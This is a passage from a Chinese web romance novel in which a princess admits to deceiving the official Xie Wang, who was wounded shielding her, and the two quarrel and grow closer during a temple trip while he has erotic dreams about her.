陆朝朝眨眨眼,虽然有些心虚,但反正事情已经这样了,她索性破罐子破摔道:“你知道就好,所以这件事也不能全怪我吧。不过总而言之,我还是要向你道歉,对不起,谢妄,我不该欺骗你。” 谢妄冷笑一声,一言不发,只从她身侧越过,似乎要下楼。 陆朝朝看着他的背影,看了眼窗外的天气,阻拦了一句:“你要走了吗?可是外面还在下大雨,大夫说了你的伤口不能碰水的。要不你等雨停了再走吧?” 谢妄一步都未曾停下,只留下一句:“公主厌恶臣至此,臣就不碍公主的眼了。” 陆朝朝眼睁睁看着他的背影下了楼,走到了茶坊门口,而后千山撑开伞,他走入伞下,便消失了。 这会儿的雨比方才小了一些,但还是有些大。陆朝朝叹了声,侧身看傅宝嘉,“怎么办?他好像真的很生气。” 傅宝嘉摇头:“我也不知道。” 陆朝朝接连叹气,罢了,事已至此,又能如何呢,只好且行且看了。 谢妄回到谢府后,阴沉着脸将替林娇取的项链给她。林娇被他的脸色吓了一跳,他脸色很是难看,身上还有些湿,胳膊上更是多了一道口子。 “怎么了这是?怎么下着这么大雨赶回来了?我又不急在这一时半会儿。这胳膊上又是怎么了?” 谢妄一言不发,只是冷着脸往外走。 林娇又气又急,看向他的两个侍从,千山也是个闷葫芦,她问万山:“他这是怎么了?” 万山道:“小的也不知道怎么说。” 林娇急道:“一五一十说!” 万山便将今日之事一五一十说给林娇:“二公子今日原是替夫人取项链,岂料在芙蓉阁门口遇上了常宁郡主,常宁郡主说有事与二公子说,便和二公子去了茶坊。至于常宁郡主和二公子说了些什么,小的不得而知,只是常宁郡主临走之时似乎哭过。后来,昭阳公主也在那茶坊里,与二公子吵了起来。昭阳公主一气之下要走,却因下雨不得行,只好折返。茶坊里有人发生了争吵,大打出手,混乱之间,有匕首差点刺中昭阳公主,二公子替昭阳公主挡下了那匕首,所以胳膊上才受了伤。之后属下和千山替二公子包扎了伤口,又请了大夫来。昭阳公主与二公子又吵了一架,至于为何争吵,属下不知道。吵完那架,二公子便离开了茶坊回府了。” 林娇没想到这一个上午竟如此曲折,发生了这么多事,她捋了捋,喃喃自语道:“又是常宁郡主,又是昭阳公主的……” 她以为谢妄是和昭阳公主吵架所以才脸色难看,想到他的伤口,又问了万山几句,知道大夫说没什么大碍这才放下心来,又命府里下人赶紧去炖补汤。 “都给他说了,让他哄着让着人家,怎么又跟人家吵架,吵完架自己也不开心。”林娇叹了声。 回到明心堂后,谢妄将自己关在了书房。 他身上衣服湿了些,但他没有立刻去沐浴更衣,他只是脸色阴沉地坐在桌案边。天色仍旧昏沉,书房中没有点灯,晦暗不明的光线里,谢妄兀自坐了许久。 原来陆朝朝是骗他的,原来他们之间压根什么也没发生过。 …… 他深吸了一口气,试图压下自己的情绪。 这很好,这件事是假的,说明他与陆朝朝之间再也没有任何瓜葛,他不用再听她的摆布,做那些他并不想做的事。他不用再对她负责,从此之后可以同她划清界限。 他为此高兴、庆幸、释然,他也为此愤怒,因为他受到了欺骗,只是这些情绪之外,他竟还有一种难言的失望,和隐约的迷惘。 他方才……真的很愤怒,他一向是个情绪并不重的人,爹娘和兄长都说他太冷淡了,喜怒哀乐都比常人冷淡许多,更遑论愤怒这种情绪。 可是方才他觉得自己快被愤怒烧没了,因为陆朝朝骗了他,陆朝朝用这个欺骗的理由,迫使他学狗叫,迫使他为她端茶递水,捏肩……他为此愤怒,因为这些事都是他从未做过的,他像戴上了屈辱的镣铐,一切都是因为他以为他真的和陆朝朝发生过什么。而现在,她告诉他,原来一切都是假的,那些事他本可以不用做。 他当然应该感到愤怒,可是除了这些,好像还有别的愤怒。 谢妄觉得心烦意乱,没办法静下心来思考这些莫名的情绪。 他捏了捏眉心,不 管怎么说,这一切都结束了。 雨似乎停了,不知何时停的,窗外的天光又一点点亮起来。林娇端了补汤过来,在书房门口说话:“缜之,我给你炖了些鸡汤。” 谢妄整理好情绪,开门。 林娇跨过门槛,将手里的汤碗搁在桌上,观察着谢妄的神情,见他脸色比之前好了不少,心下稍安,思忖着开口:“听说你又和昭阳公主吵架了?” 听她提及陆朝朝,谢妄脸色当即一沉,冷声道:“母亲,以后不要再提公主了。” 林娇心下一惊:“怎么了?吵得这么严重?吵架嘛,很正常的,今天吵了明天就和好……” 谢妄打断她:“母亲!” 他语气严肃,林娇意识到他没在开玩笑。 谢妄正色道:“我与公主之间并无任何关系,此前的事,皆是误会。今日公主已经与我说明白了,还望母亲和兄长也当此事没有发生过。” 林娇问:“误会是什么意思?” 谢妄道:“就是我与公主之间从未发生过任何,公主仍是清白之身,是我误会了。” 他终究没说是陆朝朝骗了自己。 林娇没想到竟是这样,“啊,那你与公主……” 谢妄重复了一遍:“我与公主没有任何关系。我不喜欢公主,公主也不曾喜欢我。还请母亲日后也勿要再提此事,免得造成什么不必要的误会。” 林娇没想到自己到嘴的儿媳妇竟然飞了,还未从愕然中反应过来,已经被谢妄推出门外- 雨又下了两刻钟才停下,陆朝朝和傅宝嘉二人没了再去逛买首饰的心思,待雨停之后便各自散了。 陆朝朝回了宫后,去见崇光帝。 崇光帝搁下手里的政务,见女儿神情沮丧,有些失魂落魄,忙问发生了什么事。陆朝朝想到今天的事,只和崇光帝说了今天谢妄救了自己的事。 “父皇,你赏他些什么东西吧。” 崇光帝听罢,后知后觉地心惊:“你没事就好,缜之护驾有功,朕自然该赏赐他。你日后再出宫,还是带上两个侍卫吧,万一日后再发生类似的事,也好保护你。” 陆朝朝嗯了声,没有推辞,她自己今天也是吓到了。 崇光帝以为她是吓到了所以才无精打采,让她赶紧回宫休息。陆朝朝和崇光帝告退后,就回了曦光殿。 她撑着下巴,又叹气,本来她以为她告诉谢妄真相的时候应该是趾高气扬的。告诉他,你竟然被我骗了这么久,你这个笨蛋。 可现在她一点也没觉得得意,反而感觉心里并不好受。 对谢妄舍身相救这件事,她真的觉得很意外。 以前也有过一些类似的事,小时候她快要摔倒,谢妄根本连扶都不会扶她一把,只会任由她摔倒,然后看着她狼狈的样子还要说一句很难听的话。上次跃龙池不也是,他直接就躲开了她的手,让她掉进了水里,还生了一场病。 可今天,他竟然宁愿自己受伤也帮她挡住了那把匕首。 难道是因为今天真的太紧急了?以前那些她都不会伤到? 陆朝朝一直到躺在床上,还在为这件事心绪翻涌,翻来覆去地睡不着。她想到今天谢妄手上的伤口,血肉模糊的,虽然谢妄连眼睛都没眨一下,但她还是觉得肯定很疼。 唉,明天给他带点伤药吧。陆朝朝翻了个身。 夜色幽寂,翻来覆去睡不着的,还有谢妄。 他有些睡不着。 今晚他没有做梦,但还是睡不着。 因为前面的梦,他今日特意让万山点了安神香,安神香的香味飘散在整间卧房里,按说有助于睡眠,可好像没有一点用处。 他只好想些什么,自然而然想到陆朝朝。 从前因为他以为他们之间有过什么,所以常做那些旖旎梦境,如今真相大白,以后不会再梦见她了。 谢妄阖眸。 因着心中愧疚,次日陆朝朝特意等在谢妄会经过的路上,带了上好的伤药想给他。 不一会儿,谢妄的身影便出现了。 陆朝朝等着他走近,再开口:“谢妄。” 谢妄脚步一顿,没想到她会出现,他面色冷峻,拒人于千里之外:“参见公主。” 陆朝朝看见了他的表情,知道他不想看见自己,长话短说:“你的伤还好吗?” “多谢公主关心。”他语气冷淡。 陆朝朝有些尴尬,让风荷把伤药给他:“这是我从御医那里讨的伤药,给你,应该会好得快一点,也有止痛的效果。” 谢妄看了眼那伤药,却没有接。 “公主如此讨厌臣,难保不会再给臣下些毒药。”他这张狗嘴,果然吐不出象牙。 陆朝朝脸色一垮,瞪他一眼:“我在你心里就是这么恶毒的人吗?我知道我骗你是不对,但是我现在是真心实意希望你的伤快点好的。” 她没好气地说完,已经不想给他药了,在心里偷偷骂他,臭谢妄! 陆朝朝带着风荷转身:“不要就算了。” 她气呼呼地拎着裙摆往前走了好一段,气不过,又拿起那瓶药扔向谢妄的背影:“对,没错,我就是下了毒药!我毒死你啊!你这个超级大猪头!” 陆朝朝骂完,转身就走。 谢妄忽地被药瓶砸在背上,又听见少女气急败坏的声音,一时脚步顿住。 他回过头,少女已经气鼓鼓地走了,光看背影也能看出她在生气。 那瓶药落在他脚边,谢妄目光落在白色的瓷瓶上许久。 他从来没觉得她是恶毒的人,甚至于,觉得她连坏人都算不上。相反,他一直认为她底色是一个善良的人,只是有些娇纵脾性,而且不太聪明,所以他没有想过她会用自己的清白欺骗他,只为了报复他,所以他在听说她动手打人的事后,也觉得应当有隐情。 万山见他看着那药瓶,便打算伸手捡起来,被他呵止:“不许捡。” 谢妄说罢,提步往前。 万山看了眼那白瓷瓶,这不太好吧,这毕竟是公主赏的东西,就这么扔在这儿啊…… 可公子都开了口,他也不能违逆,默默地移开视线,跟上谢妄的步伐。 “公子,等等我。” 陆朝朝气得直跺脚,仿佛脚下的地砖是谢妄这个讨人厌的家伙,她就不该关心他,他分明还是那么讨厌!讨厌死了! 正生着气,忽地看见了一个意料之外的人。 是章安澜。 章安澜也看见了她,行礼:“臣参见公主。” 他如今已经入了翰林院做官。 陆朝朝又惊又喜:“你怎么在宫里?” 章安澜道:“太后娘娘召臣入宫。” 陆朝朝哦了声,太后召他入宫做什么?她正想着,听见章安澜主动解答。 “太后娘娘听闻臣曾在佛寺修过几年佛,故而今日特意召臣入宫探讨佛法。”除此之外,太后又一次问了他,是否愿意尚二公主。他的答案与上次一样,太后似乎有些不悦,让他离开了。 章安澜温柔地看着她,没有告诉她这些。 “原来是这样啊。”陆朝朝知道太后崇尚佛法,所以每隔一段时间就会去五台山礼佛,“那太后娘娘应该挺喜欢你的。” 章安澜笑笑:“臣对佛法并不精通,想必不能讨太后娘娘欢心。” 陆朝朝安慰他:“太后娘娘要是不喜欢你,你也别伤心,太后娘娘她也不喜欢我。” 章安澜似乎有些惊讶:“是么?这世上竟然会有人不喜欢公主?” 他这话就说得太好听了,陆朝朝唇角翘了翘,心说,可他就不喜欢她啊。 想到他有喜欢的人,陆朝朝不禁问起:“上回你说,你有喜欢的人,那你跟你喜欢的人是怎么认识的呢?” 章安澜脸上的笑意更温柔几分:“是很多年前的事了,我和两个哥哥一起出门,那两个哥哥不大喜欢我,便诓骗我到了一处没人的地方,想要欺负我。就在这个时候,她出现了,她身份比我高贵许多,我那两个哥哥见到她也得恭敬行礼,听她的话,她呵斥了他们,把他们赶走了。我被两个哥哥欺负得鼻青脸肿,甚至脸上也脏兮兮的 。她一点也没有嫌弃我,走到我身边,伸手拉我起来,又用帕子把我的脸擦干净。她又带我去放风筝,从那之后,我便一直记着她。” 原来是青梅竹马啊,陆朝朝垂下眸子,不禁有些难过。 听章安澜的描述,他的心上人似乎是个极好的人,那她就更没什么希望了。 她走神之际,听得章安澜唤她:“公主?” 陆朝朝回过神来,扯了扯嘴角:“真好,希望你们终成眷属。” 章安澜的目光仍是温柔地盯着她:“臣也希望如此。” 不远处,去而复返的谢妄将这一幕尽收眼底。 第25章 第二十五“你吃醋啦?” 阳光明媚,给那二人都笼上一层浅金的光,任谁看了不说一句登对。 万山沿途找了两遍,终于寻到那只小巧的白瓷瓶,因着昨日下过雨,白瓷瓶在地上沾了些污泥,他小心拾起,用袖子擦了一遍,长叹一声。他家公子也是会折腾人的,方才他要捡他又不让,结果都走出去这么远了,又忽然折回来找。 万山匆匆靠近谢妄,恭敬将白瓷瓶奉上:“公子,找到了。” 谢妄收回视线,看了眼那白瓷瓶,忽地觉得很不顺眼。 “不要了,扔了吧。” 万山看着自家公子的背影,狠狠地咬牙,合着不用你自己找呗,说扔就扔,说捡就捡。 万山这回可学聪明了,他才不扔,只把白瓷瓶收进衣袖。若是待会儿公子又改主意,他直接拿出来。 万山追上谢妄的脚步,出宫的一路上,谢妄步伐飞快,万山要小跑着才能跟上,他的脸色更是难看。万山想了想,还是本着侍从的准则开解道:“公子,您别生气了。” 谢妄睨他一眼:“我何时生气了?” 万山:“……” 您揽镜自照,看看您的脸色再说呢?都阴沉得要下大暴雨了,还没生气呢? 但他是一个合格的侍从,他要顺着自家主子的话说:“好的,您没生气,是属下会错意。” 谢妄:“知道会错意就闭嘴。” 万山闭了嘴,只沉默地一路小跑,跟着谢妄出了宫。谢妄登上马车,心道,他有什么可生气的? 陆朝朝并不知道谢妄去而复返,她看着章安澜,为他的话而沮丧不已,并未注意到章安澜看自己的眼神,只勉强笑了笑,便同章安澜告别。 章安澜看着她的背影,忽地又唤了一句:“公主,河西的春日很美。” 陆朝朝回眸,不知他为何说起河西的春日,她只好说:“那日后有机会的话,我会去河西看看。” 章安澜笑着嗯了声。 谢妄回到刑部的官署,叫他们拿了最近的案卷卷宗来看,看了会儿,又问起他们近来手中在做些什么,挑三拣四地,比往日还要严格几分。 宋恒被他挑了错处,正训斥着:“你连这点小事都做不好?” 宋恒不敢反驳,只连连应是,胆战心惊地退下了。 众人都暗暗觉得今日谢大人心情不好,却又不知他为何心情不好,只好都打起精神来应付,不敢触他霉头。 因着谢妄今日格外严肃,众人下值的时间也比往日慢了些,好容易送走这位煞神,大家皆松了口气。宋恒亦是精神紧绷了一日,待到下值,面上终于露出了些欣慰的笑容。 宋恒走到官署门外,眼前更是一亮,小敏竟在门外接他。 小敏小跑着走近:“夫君,我给你带了些吃的。”她过来的路上特意买的。 小夫妻举案齐眉,官署其他年纪大些的官员皆是打趣,宋恒脸红了红,有些不好意思。 谢妄走出来时,便看见小夫妻俩在一旁说话。 他记得宋恒上次说过与妻子的故事,还说像他和陆朝朝。他眸色一沉,移开视线。 宋恒感知到什么,背脊一僵。他今日出了好些错处,被谢大人训斥了几回。 小敏也暗自打量着谢妄,悄声和宋恒说话:“夫君,那位就是你说的谢大人么?” 宋恒点点头:“今日谢大人不知怎么,心情不大好,训了我好多次,吓死我了。” 小敏若有所思:“他生得好生俊俏,就是瞧着冷冰冰的,不大好相处的样子。你说他今日心情不好,会不会是因为与昭阳公主吵架了?” 宋恒摇摇头,谢大人的私事他们一向知之甚少,主要是谢大人本来也没什么私事。他想起什么,和妻子说:“不过今日一早,谢大人胳膊受了伤,不知怎么弄的。听说昨儿在茶坊里有人生事,谢大人也在,制止了事端,昭阳公主也在。” 小敏也摇摇头,心中却忍不住构思起自己的话本来。用谢大人和昭阳公主本名的话本说书人那边都不收了,她便换了个名号,只仍按他们二人写。 谢妄这日回到家中,林娇记挂着他胳膊上的伤,他一回来便过来关切。 他今日忙了一整天,中间原该换次药,也忘了。林娇叹气,似乎早有预料,督促着他换药。他又不是武将,虽说自幼习武强健身体,但到底没受过什么大伤,林娇看在眼里,还是心疼。 “千山万山,你们俩日后得督促他按时换药。不按时换药这伤哪里能好得快?”林娇絮絮叨叨地,“听见没有?” 千山万山二人应下。 拆下细布,伤口看起来竟比昨天还要严重些,林娇眉头皱起来,“怎么不见好啊?是不是昨天那些伤药不好?我记得陛下赏了好些伤药,千山你去找找。” 万山见状从袖中拿出那白瓷瓶:“夫人,这里有。今日上午,昭阳公主特意拿来的。” 谢妄见那瓷瓶他没扔,睨他一眼:“我不是让你扔了?” 万山装死。 林娇瞪他一眼,拿过瓷瓶,倒在他伤口上:“扔什么扔?你就不想好是不是?” 谢妄抿唇不语,任由林娇把那瓷瓶里的药膏涂在他伤口上。那药膏有种清凉之感,一涂上去,疼痛之感顿时减轻几分。 他知道伤口为何更严重了,伤在右胳膊上,他今日还用了右手写字,批了许多卷宗。 将伤口重新包扎之后,林娇勒令他少用右手,不想再听林娇唠叨,谢妄只得应下。 右手伤了,有诸多不便。沐浴的时候便是。 谢妄不喜旁人服侍自己沐浴更衣,右手不能沾水,只好将右手搁在浴池边缘,用左手擦拭身体。擦拭到后腰的时候,谢妄动作有些不便,他忽地想到那时候他不是没有怀疑过,可后腰处隐隐作痛让他相信了这件事。 既然一切都是假的,那他当时为何会觉得后腰隐隐作痛。 算了,再想这些没有意义。 他擦拭干净身体,换上寝衣。 他以为自己不会再梦到任何和陆朝朝有关的事,可这天夜里,他却又梦见了。 应当是在官署门口,他刚下值,陆朝朝掀开马车帘栊,唤了他一声:“夫君。” 他有些愕然,愣在原地。 陆朝朝已经下了马车,朝他走近:“你怎么还愣着,快回家啦。”腔调又是那种软甜黏糊的。 她伸手牵住他,他任由她牵着,与她上了马车。 再之后是一些细碎的串不起来的场景,紧跟着,又是陆朝朝和章安澜站在一处说笑,他在一侧站着冷眼旁观。 忽而那正笑着的少女转过身来,朝他走近:“怎么啦?你吃醋啦?” 梦里的谢妄没有说话,少女用小指勾住他的小指,纤细的手指在他手心里挠着,“别吃醋啦,我只喜欢你。” 梦里的画面再一转,是他把少女揽进怀里,反复品尝她的唇瓣,唇齿交缠,肢体交缠。 谢妄睁开眼,失语良久。 “……” 明明已经没有关系了,为什么他还会梦见这些? 他失去了那个为自己辩白的理 由,只剩下一层苍白的窗纸笼着另一件事。 谢妄不愿戳破它,有些自暴自弃。 没有,他并不喜欢她。 一点也不。 所以他也不会吃醋。 这只是一个梦,梦只是虚幻,而非现实- 大齐建国在四月初四,故而每年四月初皇室将携朝臣前往京郊的社稷坛祭祀,为期三日。 社稷坛在京郊的灵山之上,灵山是京城附近最高的山,大齐人认为在高山之上便可以和天神对话,因而最适合祭祀,向天神祷告,祈求天神降福,庇佑国家庇佑百姓。 今年出发的日期定在四月初二。 这天要早早出发,陆朝朝早早便起来了,让风荷水月给她梳洗装扮。祭祀这种事不好穿得太鲜艳,所以她只让风荷给她挑了一身浅碧色的襦裙,首饰也以简约大方为主。 没多久,浩浩荡荡的队伍便出发了。 这不是陆朝朝第一次去,她已经轻车熟路,到达灵山大约需要半日,但从灵山山脚上山还需要两个时辰,等安顿好,就该到晚上了。好在一路上都可以乘坐马车,不会太劳累,所以她只需要在马车里睡上一日就好。 秉持着这个原则,陆朝朝一觉睡到中午休整的时辰。她在车里伸了个懒腰,才步下马车。 因着祭祀也算公事,故而只有官员可以来,家眷却不能,所以傅宝嘉没能来。皇室宗亲里的公主郡主县主之类,陆朝朝跟她们的关系都一般,她不想凑上去,索性去找崇光帝。 不出意外见到了谢妄。 谢妄毕竟是风头正盛的天下宠臣,和几位年纪大的官员站在一处,颇有些鹤立鸡群的意思。陆朝朝还在记那天的仇,本想无视谢妄,可他和他们站在一块,实在引人注目,她没忍住还是看了他一眼。 在她看过去的时候,谢妄竟然侧过了视线。 陆朝朝努努嘴。 崇光帝到底上了年纪,又整日里操劳国事,没有太多锻炼的时间,坐了这么久的马车身子骨有些酸痛。陆朝朝便替他按了按肩,捶了捶背,又哄他开心。 陪了崇光帝半个时辰,陆朝朝回自己的马车。 临走之前,她又想起谢妄。 距离谢妄受伤已经有五六日了,不知道他的伤有没有好一点,虽然他很没有礼貌,但是她还是善良地记挂着他的伤。陆朝朝在人群中搜索着谢妄的身影,找了一圈没找到,倒是看见了章安澜。 章安澜官位不够高,所以隔得很远,陆朝朝只能遥遥冲他笑了笑,算是打招呼。 待收回视线,终于找到了在树下站着的谢妄。 陆朝朝犹豫片刻,还是上前:“你的伤好点了吗?” 谢妄方才看见了她和章安澜的眉来眼去,语气有些不善道:“公主放心,臣死不了。” 他说话夹枪带棍的,实在让人高兴不起来,她就多余关心他。不是有句话说得好吗,祸害遗千年,像他这种祸害,肯定不会有什么事的。 陆朝朝耐着性子说:“你的伤没事就好。” 说完,她转身欲走。 正巧此时一阵和风拂面,吹动头顶的绿叶沙沙作响,将一缕熟悉的味道携至陆朝朝鼻尖。她嗅出这是她那天给谢妄那瓶药膏的味道,“你还是用了我的药膏嘛,怎么,不怕被我毒死了?” 谢妄一时有些无言,维持着面上的冷淡:“……万山捡回来的。” 陆朝朝勾唇一笑,转身走了。 谢妄看着她的背影凝眉。 想到昨夜的梦。 吃醋? 吃她和章安澜的醋吗? 他不认为如此。 吃醋的前提是喜欢,可他并不喜欢她。 至于他为什么做那些梦,他不知道,也许是因为他一直清心寡欲太久了。 上山的路没那么平坦,又有些曲折,因而不如上午舒坦,陆朝朝坐在马车里颠得睡不着,煎熬地等到上了车,赶紧下了马车。 这一趟行程颇为顺利,到达山上时还未天黑。 社稷坛修建在山顶,但他们落脚的地方并非在社稷坛,而是在半山腰的灵山寺。灵山寺是为守护社稷坛而建,虽说是寺庙,但寻常人并不能在此烧香拜佛,每年也只有在祭祀的时候热闹些。灵山寺的僧人们每年定时会上社稷坛清扫,整理,而皇家会保证灵山寺的香火,故而这里虽然没有别的香客,却有皇室这么富贵的一个香客。 灵山寺的住持早早就带着僧人们守候着他们的到来,见他们到来,便引领他们入寺住下。崇光帝问了些灵山寺与社稷坛的情况,住持一一答了。 陆朝朝与其他女眷们被小沙弥领着往厢房去,临走之前,被太后叫住,太后看了眼陆朝朝,道:“昭阳,你今夜去佛堂抄经,为明日的祭祀做准备。你身为公主,理应为大齐做些贡献。” 陆朝朝当然知道这是一个故意磋磨她的借口,同样是公主,她怎么不让陆皎月去呢?还不是因为她不喜欢自己么。 可她的理由很有力,就是崇光帝,也不好说什么,陆朝朝无法反驳,只好应下。 “是,皇祖母,孙儿明白。” 夜里用过斋饭,陆朝朝便带着风荷去了佛堂抄写经书。佛堂的小沙弥已然得过太后吩咐,将她要抄写的经书拿出来,嘱咐道:“昭阳公主可慢些抄写,字迹要好看些。” 陆朝朝瘪嘴点头,在一旁的桌子上坐下,便开始抄写经书。太后故意刁难,要她抄写的经书很多,她抄得手疼,眼睛也疼,又不能抄快了,心里暗暗叫苦。 不知不觉夜色便深了,山中的夜色寒露重,夜风吹来,陆朝朝不由得瑟缩了下。风荷见状,关切道:“殿下稍等,奴婢去取件厚实些的衣服来。” 陆朝朝点头,她手都有些冷了,放下笔搓了搓手。 原本还有个值夜的小沙弥陪着,这会儿也不知哪儿去了。偌大的佛堂里只剩下陆朝朝一个人,和几尊威严的佛像,虽说佛应该会保佑人,不会害人,可还是看得陆朝朝心里发怵。 那萧瑟的风吹在门上,门吱呀作响,忽地一声动静响起,一道黑影从陆朝朝身边窜过。 她吓得站起身来,四下打量,却不见任何踪影。 陆朝朝头皮发麻,赶紧推开门跨出佛堂。廊下两盏佛灯在风里打着转,夜色静谧到荒凉的程度,她硬着头皮往前走了几步,忽地看见一道身影提着灯笼从黑暗中走来。 陆朝朝仿佛看见救星一般,快步往前,靠近了光亮。 待走近了才发现,来人竟是谢妄。 不知怎么,见到谢妄之后,她心里的恐惧消散了几分,竟觉出几分心安。虽然她平时很讨厌谢妄,可是看见他还挺有安全感的,可能是因为他老是冷着一张脸,看起来谁也不放在眼里吧。这种气质在平时看起来很讨厌,但在这种时候就显得恰到好处。 “你怎么在这儿?”她问了一句。 这会儿按理说他们都睡了,他大半夜不睡觉跑到这边来干嘛。 谢妄:“梦游。” 陆朝朝刚想说他还有这毛病呢,忽地感觉身后又窜过一道黑影,近到贴着她的裙边,陆朝朝心猛地一跳,整个人弹了起来,本能地往她有安全感的地方扑。 陆朝朝一把抱住谢妄的脖子,整个人挂在了他身上。 “谢谢谢谢妄……”她语无伦次地说话,“是什么?是……吗?” 谢妄:“……不用谢。” 他被她突如其来的举动惊得身形僵在原地,他从未与任何女子有过如此亲密的举动。 第26章 第二十六难道他真的有那么一点喜欢她…… 她的胳膊因为害怕紧紧地搂住了他的脖子,甚至让他有些喘不上气。这种距离让他更清晰地嗅到了她陆朝朝身上的幽香,淡淡的,又带着一点香甜。 她抱他太紧了,所以胸口几乎也贴在他胸口,如今气温回转,衣裳也轻便,故而他可以清晰地感受到她胸口的柔软。谢妄僵硬地站着,意识到这件事后,只觉得浑身仿佛有 种细碎的电光蹿过似的。 他好一会儿才找回自己的声音:“……殿下可以从臣身上下来了。” 他的用词怎么这么怪异,陆朝朝撇嘴,低头看了眼自己。 好吧,她好像确实有点无礼。 陆朝朝迅速从他身上跳下来,可周遭的风阴恻恻地吹过来,她又很害怕,又往谢妄身边贴了贴。她想伸手挽住谢妄的胳膊,想了想,紧紧地抓住了他的衣袖。 “我只是太害怕了而已。”她为自己方才的失礼解释,“你看见了没?刚才有个东西从我裙子旁边飞过去了,好恐怖。” 她抓他的衣袖也抓得赶紧,几乎让他胳膊都动弹不得,谢妄瞥了眼她,还是没有出声提醒。他将手中的灯笼往前送了送,灯光照亮四周,露出一只黑色的小猫。小猫警惕地盯着他们,眼睛里映着灯光,往后退开。 陆朝朝松了口气:“……原来是野猫啊,吓死我了,我还以为是……”她拍了拍心口。 谢妄道:“世上本就没有鬼。” 陆朝朝睁大眼:“啊啊啊啊你不要说那个词,好可怕,我等会儿会睡不着的!” 她松开手,捂住耳朵。 谢妄没想到她反应这么大,继续说:“比起佛寺,皇宫里死的人更多,公主在宫里住着都不怕,又何必在这里害怕?” 陆朝朝:“……” 她瞪了他一眼,什么话啊,等下她回宫也要害怕了! 谢妄不觉得自己说错了什么,这本来就是实话。 她说自己嘴巴臭,讲话难听,所以这么多年每次和他见面都甚少有相谈甚欢的时候,反观章安澜,她每次和章安澜见面都挺开心的,想必章安澜说的话她更爱听。 谢妄无端想到这,开口:“公主若是嫌臣说话不好听,可以听章大人说。” 陆朝朝面露怪异地看他一眼,他干嘛突然提到章安澜,他们有哪句话和章安澜有关系吗?好莫名其妙,搞不懂。 “这和章安澜有什么关系?你好莫名其妙。而且你听起来很不喜欢章安澜,他哪儿得罪你了吗?”陆朝朝直言。 谢妄:“没有什么关系,臣也没有不喜欢章大人。” 陆朝朝眯了眯眼:“虽然你平等地不喜欢所有人,但是你的话还是听起来对他很有敌意。” 陆朝朝真的不解,章安澜在翰林院,谢妄在刑部,他们两个人在公事上总不可能有什么交集吧,章安澜待人也一向和颜悦色的,更不可能得罪他了吧。好奇怪。 他对章安澜哪有什么敌意?谢妄否认:“臣没有。公主这么晚了为何在此处?” 他不想继续和她探讨他喜不喜欢章安澜这件事,转而提起另外的事。 陆朝朝努努嘴:“在抄写经书,太后娘娘说了明日祭祀需要用。” 谢妄哦了声,沉默下来。 陆朝朝低头看了眼谢妄手中的灯笼,灯笼把他们俩的影子拉得很长,风似乎刮得更厉害了。风荷还没有回来,如果谢妄走了,她就要一个人等在这儿,还是感觉有点吓人,所以她决定和谢妄再聊几句。 “你的梦游之症严重吗?我只听说过这种病,没想到你竟然会得,梦游的话会干什么吗?”她问谢妄,不是在讽刺他,而是真的想知道。 谢妄沉默了,这很显然是他信口胡诌的一句。小公主真的很不聪明,他抿唇。 他才没有梦游之症,他只是夜里有些睡不着,便想出来走走,结果在路上看见她的婢女急匆匆地走过去,不知道要干嘛。 她的婢女半夜不睡觉,该不会她也在这儿吧? 谢妄看见她的婢女时脑子里冒出这个念头,然后就莫名其妙地走到了这儿。 没想到她真的在这儿,还直接扑了他满怀。 在满怀二字在心里落下时,他的脑海中闪过方才被她抱着时的触感,柔软的触觉,淡甜的香味,那种细碎的电光再次在他心头绽放,蹿过周身。 这回更甚,隐隐勾动了他的情思。 夜风晃动少女的裙角,她似乎有些冷,胳膊往里收紧了些,单薄的身体被风勾勒在他眼帘。她的身材很好,窈窕有致,尽管有衣料遮挡,他也并未见过任何,但他在梦里见过。 他也见过一些,她雪白的后颈,那里有一颗红色的小痣。 那时候,他曾经肖想过她。 正如此刻。 这种举动显然很不礼貌,虽然他也没有多少礼貌。好在她并不会知道,谢妄不自然地侧了侧身。 陆朝朝对他的沉默很不满,目光盯在他身上:“你这人,怎么这么没礼貌,我在跟你讲话诶,你就算不想回答我的问题,也可以说一句你不想说吧。” 他的确很没有礼貌,比她想的还要没有礼貌。 谢妄喉头微渴,垂下长眸,已经忘了她的问题:“公主方才问什么?” 陆朝朝更为不满:“你都没听我说话吗?” 哦,梦游,谢妄想起来了,“会提着灯笼到处乱逛,然后被人说没有礼貌。” 他又开始阴阳怪气了,陆朝朝甚是语塞,缓了缓终于意识到他在打趣她,所以他根本就没有梦游吧…… 难怪他阴阳怪气她,意思又在说她愚笨了。陆朝朝有点生气,谁让他要说自己在梦游啊,正常人谁会天天讲反话阴阳怪气别人! “谢妄,你这个人真的很不会说话!章安澜就是比你会说话啊,至少章安澜说话不会天天惹人生气。” 谢妄冷淡地哦了声:“那公主现在可以去找章大人说话。” 陆朝朝又瞪了他一眼,不想再跟他讲话了,她默默地转过身,背对着谢妄,心想风荷怎么还不回来。 就在她和谢妄僵持沉默的时候,风荷终于回来了。 “殿下,奴婢回来了。”风荷一怔,看着面前长身玉立的男人。 谢大人怎么会在这里?好奇怪的一幕。 风荷不敢多问,给陆朝朝披上斗篷。风荷回来了,这个讨厌的男人也就没有用了,陆朝朝硬气起来:“时辰不早,谢大人还是早点回去睡吧。” 说罢,便带着风荷进了佛堂,又让风荷把佛堂的门关上。 谢妄静静立在廊下,待心绪平静下来,才提着灯笼离开。 回到厢房里,谢妄在灯下静坐,想到今天的事有点心烦。 他以前对她有所反应,是以为她和自己有过肌肤之亲,可现在已经知道没有,为什么还会有这种反应? 他好看的眉头拧在一起,别人也许会单纯因为美色起反应,但谢妄清楚自己不会,他不是这种人。 他想到一种荒谬的不愿承认的可能,难道他真的有那么一点喜欢陆朝朝吗? 谢妄眉头皱得更深,这真的很荒谬。 他揉了揉眉心,决定不再想这么荒谬的事,吹灭了灯躺下。 他闭上眼,隐隐知道自己今晚的梦又将荒谬而旖|旎。 诚然如他所料,这天夜里,他梦见他吻过小公主后颈上那颗红色的小痣,小公主在他的吻里颤|抖不已,用一双水汪汪的眼睛回头看他,声音更是娇柔婉转,好听极了。 她说别,说不要,但是他没有听,一边吻她,一边继续下去。 这一场梦梦得有些久,他难得比平时起迟了些。醒过来的时候天光照进窗牖,带着些许冷意。 ——笃笃笃。 “缜之。”谢正霄在厢房门口叩门,过了好一会儿谢妄才打开门。 谢正霄有些疑惑:“你怎么这么久才开门。” 谢妄没答,问:“父亲可是有什么事?” 谢正霄当然是有事才来找他,没有继续追问他为什么这么久才开门,转而说起要找他的事:“我昨夜忽地记起一些事,和你手中在查的案子有关……” 父子二人聊完公事,一起 去斋堂用早膳。 